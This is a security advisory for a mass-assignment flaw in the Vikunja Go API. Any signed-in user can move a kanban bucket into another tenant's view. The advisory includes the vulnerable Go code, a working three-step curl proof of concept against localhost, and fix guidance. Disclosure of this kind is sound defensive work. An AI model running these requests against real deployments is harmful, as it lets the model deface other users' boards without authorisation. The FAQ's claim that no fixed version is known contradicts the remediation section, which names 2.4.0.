GHSA-569v-q83c-3j3g: Medium severity go/code.vikunja.io/api vulnerability
Summary
POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} mass-assigns the request body's projectviewid onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied (project, view) pair; the body's projectviewid is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as createdby.
This vulnerability was found using an LLM, and manually verified against latest (2.3.0).
Vulnerable code
pkg/models/kanban.go (lines 348-359):
go func (b Bucket) Update(s xorm.Session, web.Auth) (err error) { , err = s. Where("id = ?", b.ID). Cols( "title", "limit", "position", "projectviewid", // mass-assigned from the request body ). Update(b) return }
Bucket.CanUpdate (canDoBucket) only validates that the URL-supplied {bucket} belongs to the URL-supplied {project}/{view}. The body's projectviewid reaches Update unchecked and is written through.
Proof of Concept
Prerequisites: Two registered users (attacker and victim). In the IDs below: attacker's project is 2, kanban view 8; victim's project is 1, kanban view 4.
Step 1: Attacker creates a fresh bucket in their own project.
bash curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"PWNED BUCKET"}' | jq '.id' Returns: 7
Step 2: Attacker updates bucket 7, supplying projectviewid = victim's view ID. The URL chain is the attacker's, so CanUpdate passes; the body field is written through without further checks.
bash curl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"PWNED BUCKET","limit":0,"projectviewid":4}' | jq '{id,title,projectviewid}' Returns: { "id": 7, "title": "PWNED BUCKET", "projectviewid": 4 }
Step 3: Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.
bash curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \ -H 'Authorization: Bearer <victimtoken>' | jq '[.[]|{id,title,createdby:.createdby.username}]' Returns: [ {"id":7,"title":"PWNED BUCKET","createdby":"attacker"}, {"id":1,"title":"To-Do","createdby":"victim"}, {"id":2,"title":"Doing","createdby":"victim"}, {"id":3,"title":"Done","createdby":"victim"} ]
After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. projectviewid is a sequential integer, so any tenant's view can be targeted by enumeration.
Impact
Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.
Fix
In (b Bucket) Update, drop projectviewid from the Cols(...) allowlist (mass-assignment fix) and reject body payloads where projectviewid != bucket.ProjectViewID. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls CanUpdate against both the source and destination view.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/code.vikunja.io/apito a version that resolves this vulnerability.Fixed in 2.4.0 - Configuration
In (b *Bucket) Update, remove `project_view_id` from the `Cols(...)` allowlist so the request body cannot mass-assign `project_view_id` onto an existing bucket row.
Bucket Update (mass-assignment) project_view_id allowlist in Cols(...) = (drop project_view_id from Cols allowlist) - Configuration
In (b *Bucket) Update, validate the request body and reject if `project_view_id != bucket.ProjectViewID` (i.e., do not accept a body payload that attempts to relocate the bucket via `project_view_id`).
Bucket Update (request validation) reject project_view_id mismatch = project_view_id != bucket.ProjectViewID => reject - Compensating control
If “move bucket between views” is required, expose it as a dedicated endpoint that calls `CanUpdate` against both the source and destination view, instead of allowing the client to change `project_view_id` in the generic update endpoint.
Event History
Frequently Asked Questions
Who can exploit this issue?
Any signed-in user can exploit it. The attacker needs a bucket they control; no victim interaction is required.
What access does the attacker need to the target kanban view?
The vulnerable permission check validates only that the URL-selected bucket belongs to the URL-selected project and view. It does not validate the request body's project_view_id, allowing the attacker to reassign their own bucket into another tenant's kanban view.
What can the attacker change through the vulnerable update?
The attacker can set the bucket's project_view_id and control its title, limit, and position through the update request. The grafted bucket is associated with the attacker's account as created_by.
Which version is known to be affected?
The issue was manually verified against version 2.3.0. The provided information does not identify a fixed version.